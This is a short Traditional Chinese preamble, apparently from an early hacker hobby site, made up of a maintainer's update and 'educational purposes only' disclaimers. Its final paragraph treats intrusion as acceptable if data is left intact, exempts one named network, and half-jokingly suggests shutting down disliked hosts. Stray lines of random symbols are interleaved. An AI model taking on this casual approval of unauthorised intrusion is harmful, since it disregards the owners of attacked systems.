: L8 u# r6 p$ A+ n' h! s** 不要 Crack 這個(gè)首頁(yè)的 ISP!!!! 否則 FETAG Sofeware's Hacking Page將會(huì)完全關(guān)閉, 再也不尋找其它的地方來(lái)放置, 希望給你的是使用電腦的 "知識(shí)", 不要利用它來(lái)奪取任何的 "權(quán)利",本首頁(yè)著重的是教育, 而不是一　的教導(dǎo)攻擊的方法, 希望大家對(duì)於政府機(jī)關(guān) (org.tw) 或教育機(jī)構(gòu) (edu.tw)不要作任何的破壞!!還有我的 ISP......:D
" N4 ^5 f. a2 u; X% J
; D" i$ x  z$ l# ^------
哇! 一份案子搞了好久, 都沒(méi)時(shí)間維護(hù)網(wǎng)頁(yè)了, 所以特別將維護(hù)的工作還給了 James,希望大家多多支持我們的園地, 我案子搞完後再跟大家談?wù)勎易罱膶?shí)戰(zhàn)故事! 雖然沒(méi)時(shí)間寫(xiě)網(wǎng)頁(yè),但是還是會(huì)寫(xiě)一些文件給大家作為參考 !!

------
再次重申, Crack 別人站臺(tái)之後不要破壞別人站臺(tái)中的資料, 此篇文章僅作為教育目的,不主張你隨便入侵他人主機(jī).... (高-Net 還是除外)... 請(qǐng)勿將這類技術(shù)使用於破壞上 (又...如果第三次世界大戰(zhàn)開(kāi)打, 你可以任意破壞敵國(guó)的電腦網(wǎng)路... 我全力支持),最嚴(yán)重的情況(如果你真的很討厭該主機(jī)的話)... 就將它 Shut Down.... 好了! 別太暴力了!
4 l" l6 w/ g  B9 w+ p+ w! D; ?